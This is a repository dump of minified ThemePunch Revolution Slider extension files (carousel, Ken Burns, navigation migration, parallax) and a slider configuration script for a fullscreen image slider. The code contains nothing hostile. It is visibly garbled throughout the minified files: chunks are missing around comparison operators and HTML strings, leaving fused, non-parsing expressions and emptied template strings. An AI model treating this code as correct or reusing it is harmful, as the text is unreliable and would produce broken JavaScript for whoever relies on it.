0===c.wrap&&d(a),c.slide_width="on"!==c.stretch?a.gridwidth[a.curWinRange]*a.bw:a.c.width(),c.maxwidth=a.slideamount*c.slide_width,c.maxVisiblebackup>c.slides.length+1&&(c.maxVisibleItems=c.slides.length+2),c.wrapwidth=c.maxVisibleItems*c.slide_width+(c.maxVisibleItems-1)*c.space,c.wrapwidth="auto"!=a.sliderLayout?c.wrapwidth>a.c.closest(".tp-simpleresponsive").width()?a.c.closest(".tp-simpleresponsive").width():c.wrapwidth:c.wrapwidth>a.ul.width()?a.ul.width():c.wrapwidth,c.infinity=c.wrapwidth>=c.maxwidth?"off":c.infbackup,c.wrapoffset="center"===c.horizontal_align?(a.c.width()-f-e-c.wrapwidth)/2:0,c.wrapoffset="auto"!=a.sliderLayout&&a.outernav?0:c.wrapoffsetMath.abs(b)?a>0?a-Math.abs(Math.floor(a/b)*b):a+Math.abs(Math.floor(a/b)*b):a},i=function(a,b,c){var c,c,d=b-a,e=b-c-a;return d=h(d,c),e=h(e,c),Math.abs(d)>Math.abs(e)?e:d},j=function(a){var c=0,d=a.carousel;if(void 0!==d.positionanim&&d.positionanim.kill(),"none"==d.slide_globaloffset)d.slide_globaloffset=c="center"===d.horizontal_align?d.wrapwidth/2-d.slide_width/2:0;else{d.slide_globaloffset=d.slide_offset,d.slide_offset=0;var e=a.c.find(".processing-revslide").index(),f="center"===d.horizontal_align?(d.wrapwidth/2-d.slide_width/2-d.slide_globaloffset)/d.slide_width:(0-d.slide_globaloffset)/d.slide_width;f=b.simp(f,a.slideamount,!1),e=e>=0?e:a.c.find(".active-revslide").index(),e=e>=0?e:0,c="off"===d.infinity?f-e:-i(f,e,a.slideamount),c*=d.slide_width}return c}}(jQuery); -------------------------------------------------------------------------------- /report/js/revolution/js/extensions/revolution.extension.kenburn.min.js: -------------------------------------------------------------------------------- 1 | /******************************************** 2 | * REVOLUTION 5.0 EXTENSION - KEN BURN 3 | * @version: 1.2 (2.11.2016) 4 | * @requires jquery.themepunch.revolution.js 5 | * @author ThemePunch 6 | *********************************************/ 7 | !function(a){"use strict";var b=jQuery.fn.revolution,c={alias:"KenBurns Min JS",name:"revolution.extensions.kenburn.min.js",min_core:"5.0",version:"1.2.0"};jQuery.extend(!0,b,{stopKenBurn:function(a){return"stop"!==b.compare_version(c).check&&void(void 0!=a.data("kbtl")&&a.data("kbtl").pause())},startKenBurn:function(a,d,e){if("stop"===b.compare_version(c).check)return!1;var f=a.data(),g=a.find(".defaultimg"),h=g.data("lazyload")||g.data("src"),j=(f.owidth/f.oheight,"carousel"===d.sliderType?d.carousel.slide_width:d.ul.width()),k=d.ul.height();a.data("kbtl")&&a.data("kbtl").kill(),e=e||0,0==a.find(".tp-kbimg").length&&(a.append('
'),a.data("kenburn",a.find(".tp-kbimg")));var m=function(a,b,c,d,e,f,g){var h=a*c,i=b*c,j=Math.abs(d-h),k=Math.abs(e-i),l=new Object;return l.l=(0-f)*j,l.r=l.l+h,l.t=(0-g)*k,l.b=l.t+i,l.h=f,l.v=g,l},n=function(a,b,c,d,e){var f=a.bgposition.split(" ")||"center center",g="center"==f[0]?"50%":"left"==f[0]||"left"==f[1]?"0%":"right"==f[0]||"right"==f[1]?"100%":f[0],h="center"==f[1]?"50%":"top"==f[0]||"top"==f[1]?"0%":"bottom"==f[0]||"bottom"==f[1]?"100%":f[1];g=parseInt(g,0)/100||0,h=parseInt(h,0)/100||0;var i=new Object;return i.start=m(e.start.width,e.start.height,e.start.scale,b,c,g,h),i.end=m(e.start.width,e.start.height,e.end.scale,b,c,g,h),i},o=function(a,b,c){var d=c.scalestart/100,e=c.scaleend/100,f=void 0!=c.offsetstart?c.offsetstart.split(" ")||[0,0]:[0,0],g=void 0!=c.offsetend?c.offsetend.split(" ")||[0,0]:[0,0];c.bgposition="center center"==c.bgposition?"50% 50%":c.bgposition;var h=new Object,i=a*d,k=(i/c.owidth*c.oheight,a*e);k/c.owidth*c.oheight;if(h.start=new Object,h.starto=new Object,h.end=new Object,h.endo=new Object,h.start.width=a,h.start.height=h.start.width/c.owidth*c.oheight,h.start.height0?0:p+f[0]0?0:r+g[0]0?0:q+f[1]0?0:s+g[1]0?!0:!1,e.hide_delay=t.hideThumbs>0?t.hideThumbs:200,e.hide_delay_mobile=t.hideNavDelayOnMobile||1500,e.hide_under=0,e.tmp="",e.left={h_align:t.soloArrowLeftHalign,v_align:t.soloArrowLeftValign,h_offset:t.soloArrowLeftHOffset,v_offset:t.soloArrowLeftVOffset},e.right={h_align:t.soloArrowRightHalign,v_align:t.soloArrowRightValign,h_offset:t.soloArrowRightHOffset,v_offset:t.soloArrowRightVOffset},o.arrows=e}if("bullet"==t.navigationType){var r=new Object;r.style=t.navigationStyle||"",r.enable=!0,r.hide_onmobile="on"===t.hideArrowsOnMobile?!0:!1,r.hide_onleave=t.hideThumbs>0?!0:!1,r.hide_delay=t.hideThumbs>0?t.hideThumbs:200,r.hide_delay_mobile=t.hideNavDelayOnMobile||1500,r.hide_under=0,r.direction="horizontal",r.h_align=t.navigationHAlign||"center",r.v_align=t.navigationVAlign||"bottom",r.space=5,r.h_offset=t.navigationHOffset||0,r.v_offset=t.navigationVOffset||20,r.tmp='',o.bullets=r}if("thumb"==t.navigationType){var i=new Object;i.style=t.navigationStyle||"",i.enable=!0,i.width=t.thumbWidth||100,i.height=t.thumbHeight||50,i.min_width=t.thumbWidth||100,i.wrapper_padding=2,i.wrapper_color="#f5f5f5",i.wrapper_opacity=1,i.visibleAmount=t.thumbAmount||3,i.hide_onmobile="on"===t.hideArrowsOnMobile?!0:!1,i.hide_onleave=t.hideThumbs>0?!0:!1,i.hide_delay=t.hideThumbs>0?t.hideThumbs:200,i.hide_delay_mobile=t.hideNavDelayOnMobile||1500,i.hide_under=0,i.direction="horizontal",i.span=!1,i.position="inner",i.space=2,i.h_align=t.navigationHAlign||"center",i.v_align=t.navigationVAlign||"bottom",i.h_offset=t.navigationHOffset||0,i.v_offset=t.navigationVOffset||20,i.tmp='',o.thumbnails=i}t.navigation=o,t.navigation.keyboardNavigation=t.keyboardNavigation||"on",t.navigation.onHoverStop=t.onHoverStop||"on",t.navigation.touch={touchenabled:t.touchenabled||"on",swipe_treshold:t.swipe_treshold||75,swipe_min_touches:t.swipe_min_touches||1,drag_block_vertical:t.drag_block_vertical||!1}}return void 0==t.fallbacks&&(t.fallbacks={isJoomla:t.isJoomla||!1,panZoomDisableOnMobile:t.parallaxDisableOnMobile||"off",simplifyAll:t.simplifyAll||"on",nextSlideOnWindowFocus:t.nextSlideOnWindowFocus||"off",disableFocusListener:t.disableFocusListener||!0}),t},e=function(t,a){var o=new Object,e=t.width(),r=t.height();o.skewfromleftshort="x:-50;skX:85;o:0",o.skewfromrightshort="x:50;skX:-85;o:0",o.sfl="x:-50;o:0",o.sfr="x:50;o:0",o.sft="y:-50;o:0",o.sfb="y:50;o:0",o.skewfromleft="x:top;skX:85;o:0",o.skewfromright="x:bottom;skX:-85;o:0",o.lfl="x:top;o:0",o.lfr="x:bottom;o:0",o.lft="y:left;o:0",o.lfb="y:right;o:0",o.fade="o:0";720*Math.random()-360;t.find(".tp-caption").each(function(){var t=jQuery(this),a=(Math.random()*(2*e)-e,Math.random()*(2*r)-r,3*Math.random(),720*Math.random()-360,70*Math.random()-35,70*Math.random()-35,t.attr("class"));o.randomrotate="x:{-400,400};y:{-400,400};sX:{0,2};sY:{0,2};rZ:{-180,180};rX:{-180,180};rY:{-180,180};o:0;",a.match("randomrotate")?t.data("transform_in",o.randomrotate):a.match(/\blfl\b/)?t.data("transform_in",o.lfl):a.match(/\blfr\b/)?t.data("transform_in",o.lfr):a.match(/\blft\b/)?t.data("transform_in",o.lft):a.match(/\blfb\b/)?t.data("transform_in",o.lfb):a.match(/\bsfl\b/)?t.data("transform_in",o.sfl):a.match(/\bsfr\b/)?t.data("transform_in",o.sfr):a.match(/\bsft\b/)?t.data("transform_in",o.sft):a.match(/\bsfb\b/)?t.data("transform_in",o.sfb):a.match(/\bskewfromleftshort\b/)?t.data("transform_in",o.skewfromleftshort):a.match(/\bskewfromrightshort\b/)?t.data("transform_in",o.skewfromrightshort):a.match(/\bskewfromleft\b/)?t.data("transform_in",o.skewfromleft):a.match(/\bskewfromright\b/)?t.data("transform_in",o.skewfromright):a.match(/\bfade\b/)&&t.data("transform_in",o.fade),a.match(/\brandomrotateout\b/)?t.data("transform_out",o.randomrotate):a.match(/\bltl\b/)?t.data("transform_out",o.lfl):a.match(/\bltr\b/)?t.data("transform_out",o.lfr):a.match(/\bltt\b/)?t.data("transform_out",o.lft):a.match(/\bltb\b/)?t.data("transform_out",o.lfb):a.match(/\bstl\b/)?t.data("transform_out",o.sfl):a.match(/\bstr\b/)?t.data("transform_out",o.sfr):a.match(/\bstt\b/)?t.data("transform_out",o.sft):a.match(/\bstb\b/)?t.data("transform_out",o.sfb):a.match(/\bskewtoleftshortout\b/)?t.data("transform_out",o.skewfromleftshort):a.match(/\bskewtorightshortout\b/)?t.data("transform_out",o.skewfromrightshort):a.match(/\bskewtoleftout\b/)?t.data("transform_out",o.skewfromleft):a.match(/\bskewtorightout\b/)?t.data("transform_out",o.skewfromright):a.match(/\bfadeout\b/)&&t.data("transform_out",o.fade),void 0!=t.data("customin")&&t.data("transform_in",t.data("customin")),void 0!=t.data("customout")&&t.data("transform_out",t.data("customout"))})}}(jQuery); -------------------------------------------------------------------------------- /report/js/revolution/js/extensions/revolution.extension.parallax.min.js: -------------------------------------------------------------------------------- 1 | /******************************************** 2 | * REVOLUTION 5.2.6 EXTENSION - PARALLAX 3 | * @version: 2.2.0 (16.11.2016) 4 | * @requires jquery.themepunch.revolution.js 5 | * @author ThemePunch 6 | *********************************************/ 7 | !function(a){"use strict";function e(a,b){a.lastscrolltop=b}var b=jQuery.fn.revolution,c=b.is_mobile(),d={alias:"Parallax Min JS",name:"revolution.extensions.parallax.min.js",min_core:"5.3",version:"2.2.0"};jQuery.extend(!0,b,{checkForParallax:function(a,e){function g(a){if("3D"==f.type||"3d"==f.type){a.find(".slotholder").wrapAll('
'),a.find(".tp-parallax-wrap").wrapAll('
'),a.find(".rs-parallaxlevel-tobggroup").closest(".tp-parallax-wrap").wrapAll('
');var b=a.find(".dddwrapper"),c=a.find(".dddwrapper-layer"),d=a.find(".dddwrapper-layertobggroup");d.appendTo(b),"carousel"==e.sliderType&&("on"==f.ddd_shadow&&b.addClass("dddwrappershadow"),punchgs.TweenLite.set(b,{borderRadius:e.carousel.border_radius})),punchgs.TweenLite.set(a,{overflow:"visible",transformStyle:"preserve-3d",perspective:1600}),punchgs.TweenLite.set(b,{force3D:"auto",transformOrigin:"50% 50%"}),punchgs.TweenLite.set(c,{force3D:"auto",transformOrigin:"50% 50%",zIndex:5}),punchgs.TweenLite.set(e.ul,{transformStyle:"preserve-3d",transformPerspective:1600})}}if("stop"===b.compare_version(d).check)return!1;var f=e.parallax;if(!f.done){if(f.done=!0,c&&"on"==f.disable_onmobile)return!1;"3D"!=f.type&&"3d"!=f.type||(punchgs.TweenLite.set(e.c,{overflow:f.ddd_overflow}),punchgs.TweenLite.set(e.ul,{overflow:f.ddd_overflow}),"carousel"!=e.sliderType&&"on"==f.ddd_shadow&&(e.c.prepend('
'),punchgs.TweenLite.set(e.c.find(".dddwrappershadow"),{force3D:"auto",transformPerspective:1600,transformOrigin:"50% 50%",width:"100%",height:"100%",position:"absolute",top:0,left:0,zIndex:0}))),e.li.each(function(){g(jQuery(this))}),("3D"==f.type||"3d"==f.type)&&e.c.find(".tp-static-layers").length>0&&(punchgs.TweenLite.set(e.c.find(".tp-static-layers"),{top:0,left:0,width:"100%",height:"100%"}),g(e.c.find(".tp-static-layers"))),f.pcontainers=new Array,f.pcontainer_depths=new Array,f.bgcontainers=new Array,f.bgcontainer_depths=new Array,e.c.find(".tp-revslider-slidesli .slotholder, .tp-revslider-slidesli .rs-background-video-layer").each(function(){var a=jQuery(this),b=a.data("bgparallax")||e.parallax.bgparallax;b="on"==b?1:b,void 0!==b&&"off"!==b&&(f.bgcontainers.push(a),f.bgcontainer_depths.push(e.parallax.levels[parseInt(b,0)-1]/100))});for(var h=1;h<=f.levels.length;h++)e.c.find(".rs-parallaxlevel-"+h).each(function(){var a=jQuery(this),b=a.closest(".tp-parallax-wrap");b.data("parallaxlevel",f.levels[h-1]),b.addClass("tp-parallax-container"),f.pcontainers.push(b),f.pcontainer_depths.push(f.levels[h-1])});"mouse"!=f.type&&"scroll+mouse"!=f.type&&"mouse+scroll"!=f.type&&"3D"!=f.type&&"3d"!=f.type||(a.mouseenter(function(b){var c=a.find(".active-revslide"),d=a.offset().top,e=a.offset().left,f=b.pageX-e,g=b.pageY-d;c.data("enterx",f),c.data("entery",g)}),a.on("mousemove.hoverdir, mouseleave.hoverdir, trigger3dpath",function(b,c){var d=c&&c.li?c.li:a.find(".active-revslide");if("enterpoint"==f.origo){var g=a.offset().top,h=a.offset().left;void 0==d.data("enterx")&&d.data("enterx",b.pageX-h),void 0==d.data("entery")&&d.data("entery",b.pageY-g);var i=d.data("enterx")||b.pageX-h,j=d.data("entery")||b.pageY-g,k=i-(b.pageX-h),l=j-(b.pageY-g),m=f.speed/1e3||.4}else var g=a.offset().top,h=a.offset().left,k=e.conw/2-(b.pageX-h),l=e.conh/2-(b.pageY-g),m=f.speed/1e3||3;"mouseleave"==b.type&&(k=f.ddd_lasth||0,l=f.ddd_lastv||0,m=1.5);for(var n=0;njQuery(window).height()){var h=d;d=c,c=h}var i=a.width(),j=a.height(),k=360/i*d,l=180/j*c,m=f.speed/1e3||3,n=[];if(g.find(".tp-parallax-container").each(function(a){n.push(jQuery(this))}),a.find(".tp-static-layers .tp-parallax-container").each(function(){n.push(jQuery(this))}),jQuery.each(n,function(){var a=jQuery(this),b=parseInt(a.data("parallaxlevel"),0),c=b/100,d=k*c*2,e=l*c*4;punchgs.TweenLite.to(a,m,{force3D:"auto",x:d,y:e,ease:punchgs.Power3.easeOut,overwrite:"all"})}),"3D"==f.type||"3d"==f.type){var o=".tp-revslider-slidesli .dddwrapper, .dddwrappershadow, .tp-revslider-slidesli .dddwrapper-layer, .tp-static-layers .dddwrapper-layer";"carousel"===e.sliderType&&(o=".tp-revslider-slidesli .dddwrapper, .tp-revslider-slidesli .dddwrapper-layer, .tp-static-layers .dddwrapper-layer"),e.c.find(o).each(function(){var a=jQuery(this),c=f.levels[f.levels.length-1]/200,d=k*c,g=l*c*3,h=0==e.conw?0:Math.round(k/e.conw*c*500)||0,i=0==e.conh?0:Math.round(l/e.conh*c*700)||0,j=a.closest("li"),n=0,o=!1;a.hasClass("dddwrapper-layer")&&(n=f.ddd_z_correction||65,o=!0),a.hasClass("dddwrapper-layer")&&(d=0,g=0),j.hasClass("active-revslide")||"carousel"!=e.sliderType?"on"!=f.ddd_bgfreeze||o?punchgs.TweenLite.to(a,m,{rotationX:i,rotationY:-h,x:d,z:n,y:g,ease:punchgs.Power3.easeOut,overwrite:"all"}):punchgs.TweenLite.to(a,.5,{force3D:"auto",rotationY:0,rotationX:0,z:0,ease:punchgs.Power3.easeOut,overwrite:"all"}):punchgs.TweenLite.to(a,.5,{force3D:"auto",rotationY:0,z:0,x:0,y:0,rotationX:0,ease:punchgs.Power3.easeOut,overwrite:"all"}),"mouseleave"==b.type&&punchgs.TweenLite.to(jQuery(this),3.8,{z:0,ease:punchgs.Power3.easeOut})})}}));var i=e.scrolleffect;if(i.bgs=new Array,i.on){if("on"===i.on_slidebg)for(var h=0;ha.lastwindowheight?f.top/f.height:f.bottom>a.lastwindowheight?(f.bottom-a.lastwindowheight)/f.height:0;if(a.scrollproc=i,b.callBackHandling&&b.callBackHandling(a,"parallax","start"),g.enable){var j=1-Math.abs(i);j=j<0?0:j,jQuery.isNumeric(g.visible_area)||g.visible_area.indexOf("%")!==-1&&(g.visible_area=parseInt(g.visible_area)/100),1-g.visible_area<=j?a.inviewport||(a.inviewport=!0,b.enterInViewPort(a)):a.inviewport&&(a.inviewport=!1,b.leaveViewPort(a))}if(c&&"on"==h.disable_onmobile)return!1;if("3d"!=h.type&&"3D"!=h.type){if(("scroll"==h.type||"scroll+mouse"==h.type||"mouse+scroll"==h.type)&&h.pcontainers)for(var k=0;k0){var l=h.pcontainers[k],m=h.pcontainer_depths[k]/100,n=Math.round(i*-(m*a.conh)*10)/10||0;l.data("parallaxoffset",n),punchgs.TweenLite.set(l,{overwrite:"auto",force3D:"auto",y:n})}if(h.bgcontainers)for(var k=0;k=0&&(s=1),"bottom"==q.direction&&i<=0&&(s=1),s=s>1?1:s<0?0:s,"on"===q.fade&&(t.opacity=s),"on"===q.blur){var u=(1-s)*q.maxblur;t["-webkit-filter"]="blur("+u+"px)",t.filter="blur("+u+"px)"}if("on"===q.grayscale){var v=100*(1-s),w="grayscale("+v+"%)";t["-webkit-filter"]=void 0===t["-webkit-filter"]?w:t["-webkit-filter"]+" "+w,t.filter=void 0===t.filter?w:t.filter+" "+w}punchgs.TweenLite.set(q.layers,t)}if(q.bgs!==!1){var s=1-r*q.multiplicator,t={backfaceVisibility:"hidden",force3D:"true"};if("top"==q.direction&&i>=0&&(s=1),"bottom"==q.direction&&i<=0&&(s=1),s=s>1?1:s<0?0:s,"on"===q.fade&&(t.opacity=s),"on"===q.blur){var u=(1-s)*q.maxblur;t["-webkit-filter"]="blur("+u+"px)",t.filter="blur("+u+"px)"}if("on"===q.grayscale){var v=100*(1-s),w="grayscale("+v+"%)";t["-webkit-filter"]=void 0===t["-webkit-filter"]?w:t["-webkit-filter"]+" "+w,t.filter=void 0===t.filter?w:t.filter+" "+w}punchgs.TweenLite.set(q.bgs,t)}}b.callBackHandling&&b.callBackHandling(a,"parallax","end")}})}(jQuery); -------------------------------------------------------------------------------- /report/js/slider-setting.js: -------------------------------------------------------------------------------- 1 | /*--------------------------------------------------------------------- 2 | File Name: slider-setting.js 3 | ---------------------------------------------------------------------*/ 4 | 5 | "use strict"; 6 | var tpj = jQuery; 7 | 8 | var revapi486; 9 | tpj(document).ready(function () { 10 | if (tpj("#rev_slider_486_1").revolution == undefined) { 11 | revslider_showDoubleJqueryError("#rev_slider_486_1"); 12 | } else { 13 | revapi486 = tpj("#rev_slider_486_1").show().revolution({ 14 | sliderType: "standard", 15 | jsFileLocation: "revolution/js/", 16 | sliderLayout: "fullscreen", 17 | dottedOverlay: "none", 18 | delay: 5000, 19 | navigation: { 20 | keyboardNavigation: "on", 21 | keyboard_direction: "horizontal", 22 | mouseScrollNavigation: "off", 23 | mouseScrollReverse: "default", 24 | onHoverStop: "on", 25 | touch: { 26 | touchenabled: "on", 27 | swipe_threshold: 75, 28 | swipe_min_touches: 1, 29 | swipe_direction: "horizontal", 30 | drag_block_vertical: false 31 | }, 32 | arrows: { 33 | style: "gyges", 34 | enable: true, 35 | hide_onmobile: false, 36 | hide_onleave: true, 37 | hide_delay: 200, 38 | hide_delay_mobile: 1200, 39 | tmp: '', 40 | left: { 41 | h_align: "left", 42 | v_align: "center", 43 | h_offset: 0, 44 | v_offset: 0 45 | }, 46 | right: { 47 | h_align: "right", 48 | v_align: "center", 49 | h_offset: 0, 50 | v_offset: 0 51 | } 52 | }, 53 | bullets: { 54 | enable: true, 55 | hide_onmobile: true, 56 | hide_under: 800, 57 | style: "hebe", 58 | hide_onleave: false, 59 | direction: "horizontal", 60 | h_align: "center", 61 | v_align: "bottom", 62 | h_offset: 0, 63 | v_offset: 30, 64 | space: 5, 65 | tmp: '' 66 | } 67 | }, 68 | viewPort: { 69 | enable: true, 70 | outof: "pause", 71 | visible_area: "70%", 72 | presize: false 73 | }, 74 | responsiveLevels: [1240, 1024, 778, 480], 75 | visibilityLevels: [1240, 1024, 778, 480], 76 | gridwidth: [1240, 1024, 778, 480], 77 | gridheight: [500, 450, 400, 350], 78 | lazyType: "none", 79 | parallax: { 80 | type: "scroll", 81 | origo: "enterpoint", 82 | speed: 400, 83 | levels: [5, 10, 15, 20, 25, 30, 35, 40, 45, 50, 46, 47, 48, 49, 50, 55], 84 | type: "scroll", 85 | }, 86 | shadow: 0, 87 | spinner: "off", 88 | stopLoop: "off", 89 | stopAfterLoops: -1, 90 | stopAtSlide: -1, 91 | shuffle: "off", 92 | autoHeight: "off", 93 | hideThumbsOnMobile: "off", 94 | hideSliderAtLimit: 0, 95 | hideCaptionAtLimit: 0, 96 | hideAllCaptionAtLilmit: 0, 97 | debugMode: false, 98 | fallbacks: { 99 | simplifyAll: "off", 100 | nextSlideOnWindowFocus: "off", 101 | disableFocusListener: false, 102 | } 103 | }); 104 | } 105 | }); --------------------------------------------------------------------------------